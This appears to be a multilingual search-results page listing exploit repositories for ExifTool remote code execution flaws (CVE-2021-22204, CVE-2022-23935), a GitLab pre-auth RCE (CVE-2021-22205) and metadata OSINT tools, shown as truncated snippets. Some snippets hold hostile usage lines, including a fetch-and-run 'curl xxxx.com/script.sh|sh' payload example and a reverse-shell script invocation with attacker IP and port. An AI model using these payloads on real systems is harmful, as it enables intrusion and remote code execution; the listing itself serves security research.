274 matches found
CVE-2021-22204
CVE-2021-22204 — Выполнение произвольного кода в ExifTool Улучшенный proof-of-concept для CVE-2021-22204 — уязвимости в ExifTool версий с 7.44 по 12.23, которая позволяет выполнять произвольный код при обработке вредоносных файлов DjVu. Авторство Это производная работа. Уязвимость и оригинальный...
CVE-2022-23935
CVE-2022-23935 Программный продукт Exiftool, в версиях до 12.38, имеет уязвимость безопасности, которая может быть использована через специально созданное имя файла. Эта уязвимость позволяет внедрение команд, при котором злоумышленник может выполнять произвольные команды в системе, добавляя симво...
exploit-CVE-2021-22204
CVE-2021-22204 ExifTool 익스플로잇 - 임의 코드 실행 이 저장소가 마음에 드시나요? ⭐를 눌러주세요! 교육 및 승인된 보안 연구 목적으로만 사용하세요. 익스플로잇 작성자 @UNICORDev 작성 @NicPWNs 및 @Dev-Yeoj 취약점 설명 ExifTool 버전 7.44 이상에서 DjVu 파일 형식의 사용자 데이터가 적절히 무력화되지 않아 악성 이미지를 구문 분석할 때 임의 코드 실행이 가능합니다. 익스플로잇 설명 이 익스플로잇을 사용하여 취약한 ExifTool 버전에서 코드 실행을 위해 사용할 수 있는...
CVE-2021-22204
Уязвимая версия 7.44 12.23 Воспроизведение root@kitploit: $ bash craftadjvuexploit.sh 'cal' $ ./exiftool delicate.jpg Скриншот Ссылка NVD-CVE-2021-22204...
CVE-2021-22204
CVE-2021-22204 Краткое описание уязвимости Некорректная санитизация пользовательских данных в формате файлов DjVu в ExifTool версий 7.44 и выше позволяет выполнять произвольный код при обработке вредоносного изображения. Затронутые версии Версии 7.44 – 12.23 Особенности Зависимости: djvulibre-bin...
CVE-2021-22205
CVE-2021-22205 Preauth RCE через exiftool на Gitlab CE/EE Описание CVE GitLab использует ExifTool для сканирования каждого tiff/jpeg/jpg файла и удаления любых тегов, которые не входят в белый список. Но поскольку ExifTool не использует расширения файлов для определения типа файла, а полагается н...
PowerMeta
PowerMeta PowerMeta는 특정 도메인에 대해 Google 및 Bing 맞춤 검색을 사용하여 다양한 웹사이트에 호스팅된 공개 파일을 검색합니다. 그런 다음 대상 도메인에서 해당 파일을 다운로드할 수 있습니다. 파일을 검색한 후 PowerMeta로 연결된 메타데이터를 분석할 수 있습니다. 메타데이터에서 일반적으로 발견되는 흥미로운 항목으로는 사용자 이름, 도메인, 소프트웨어 제목, 컴퓨터 이름 등이 있습니다. 공개 파일 검색 많은 조직에서 외부 웹사이트에 공개 파일이 게시되어 있는 것을 흔히 볼 수 있습니다. 이러한...
CVE-2022-23935
はじめに CVE-2022-23935 エクスプロイト PoC exiftool バージョン 12.37 インストール root@kitploit: git clone https://github.com/0xFTW/CVE-2022-23935 cd CVE-2022-23935 chmod +x CVE-2022-23935.py pip3 install pwntools 使い方 root@kitploit: ./CVE-2022-23935...
pymeta
PyMeta PyMeta — это переписанная на Python3 версия инструмента PowerMeta, созданного dafthack на PowerShell. Он использует специально сформированные поисковые запросы для поиска и загрузки следующих типов файлов pdf, xls, xlsx, csv, doc, docx, ppt, pptx с заданного домена, используя парсинг Googl...
POC-CVE-2021-22204
POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 이것은 테스트를 위해 작성한 편의 스크립트입니다. 출력 root@kitploit: Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates an image file notevil.jpg to be...
CVE-2021-22204
CVE-2021-22204 - Exiftool 원격 코드 실행 설명 최근 연구원 wcbowling이 Exiftool 도구에서 취약점을 발견했습니다. 이 취약점은 악의적인 공격자가 원격 코드 실행 공격을 수행할 수 있도록 합니다. 이 취약점은 GitLab 버그 바운티 프로그램에서 발견되었으며, GitLab은 이 도구를 제품의 종속성으로 사용합니다. 사용법 12번째 줄createFile.sh에 공격자 머신의 IP 주소를 입력하세요. 그런 다음 간단히 실행하세요: $ bash createFile.sh 이렇게 하면 악성 파일...
GitLab-CVE-2021-22205-scanner
GitLab-CVE-2021-22205-scanner Использование root@kitploit: $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort Благодарности https://hackerone.com/reports/1154542 Фрагмент кода взят отсюда: https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py Отка...
Metaforge
Metaforge "OSINT 도구로, 메타데이터를 분석하고 동적 보고서를 생성합니다" https://chriswmorris.github.io/Metaforge/ Senior Design Project 2019 - Chris Morris와 Collin Mockbee 제작 Unix 기반 운영 체제용 Python3 애플리케이션 참고: Metaforge는 최소 Python 버전 3.5가 필요합니다! 지원하는 파일 형식 dll | docx | doc | exe | gif | html | jpeg| mkv | mp3 | mp4 | od...
CVE-2021-22204
ExifTool リモートコード実行脆弱性 これはCVE-2021-22204の分析記事になるはずでしたが、むしろ私のメモ帳のようなもので、多くの散らかったものが詰まっています。脆弱性分析記事としてはちょっと余計な話が多いですが、それでも多くのことを学びました。 正直なところ、このツールを使ったことは一度もなく、Perlという言語にもほとんど触れたことがありませんでした。そのため、分析や再現の過程で疑問符だらけでした。分析を始める前に、インターネットで公開されているPoCと、私が抱いた疑問を見てみましょう。 POC - convisolabs...
CVE-2021-22204-exiftool
CVE-2021-22204-exiftool Эксплоит на Python для уязвимости CVE-2021-22204 в Exiftool. Об уязвимости CVE-2021-22204 была обнаружена и сообщена Уильямом Боулингом. @wcbowling Этот эксплоит был создан путем изучения патча Exiftool после того, как CVE уже была сообщена. Предварительные требования...
dejavu
DejaVu...
POC_CVE-2026-42589
POCCVE-2026-42589 Local reproduction lab and nuclei template draft for CVE-2026-42589 affecting Gotenberg. Summary CVE-2026-42589 — это проблема удаленного выполнения кода без аутентификации в Gotenberg, вызванная инъекцией новой строки в ключ метаданных в: root@kitploit: POST...
CVE-2021-22205
CVE-2021-22205 GitLab CE/EE Preauth RCE с использованием ExifTool Этот проект предназначен только для обучения, если чьи-то права были нарушены, пожалуйста, свяжитесь со мной, чтобы удалить проект, и последнееНЕ ИСПОЛЬЗУЙТЕ ЕГО НЕЗАКОННО. Если вы совершите незаконные действия при использовании...
CVE-2021-22204-exiftool
CVE-2021-22204-exiftool Exiftool의 CVE-2021-22204 취약점을 위한 Python 익스플로잇입니다. 비디오 튜토리얼 Youtube root@kitploit: 404 notfound 요구 사항 root@kitploit: python3 python3-pip djvulibre-bin exiftool 요구 사항 설치 Debian root@kitploit: apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip Ubun...